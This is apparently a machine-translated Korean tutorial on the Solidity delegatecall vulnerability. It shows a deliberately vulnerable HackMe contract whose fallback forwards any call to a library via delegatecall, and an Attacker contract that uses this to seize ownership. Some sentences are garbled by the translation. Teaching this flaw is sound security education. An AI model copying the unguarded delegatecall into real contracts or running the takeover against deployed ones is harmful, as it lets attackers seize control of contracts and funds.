대리인 호출 - 컨텍스트가 보존됨

이것은 현실 세계에서는 결코 볼 수 없는 매우 간단하고 드문 취약점입니다. 그러나 어쨌든 슬쩍 피크를 찍자.

델리게이트 호출이 어떻게 작동하는지 이해합시다.
contract_A에는 위임자가 contract_B를 호출하는 기능이 있습니다. 해당 함수가 호출되면 contract_B의 코드가 성공적으로 실행된 후 contract_A의 상태가 변경됩니다.

다음을 고려하세요:

contract HackMe {
    address public owner;
    Lib _libContract;

    constructor(address _lib) {
        owner = msg.sender;
        _libContract = Lib(_lib);
    }

    fallback() external payable {
        address(_libContract).delegatecall(msg.data);
    }
}

contract Lib {
    address public owner;

    function changeOwner() external {
        owner = msg.sender;
    }
}


델리게이트 호출에 대해 명확하다면 위의 문제를 보았을 것입니다. 그렇지 않다면 걱정하지 말고 계속 읽으세요...

HackMe를 해킹하여 소유자 변수를 변경하는 방법은 무엇입니까?
  • 공격자가 HackMe에서 changeOwner() 함수를 호출하면 대체 함수가 트리거됩니다(HackMe에는 changeOwner()가 없기 때문).
  • 폴백 함수 대리자는 msg.data인 Lib 계약 호출changeOwner()을 호출합니다.
  • 이것은 changeOwner()(HackMe에서)를 owner(즉, 공격자 주소)로 변경하는 Lib에서 msg.sender를 호출합니다.

  • 다음 계약을 참조하십시오.

    contract Attacker {
        address hackMe;
    
        constructor(address _hackMe) {
            hackMe = _hackMe;
        }
    
        function attack() external {
            hackMe.call(abi.encodeWithSignature("changeOwner()"));
        }
    }
    

    좋은 웹페이지 즐겨찾기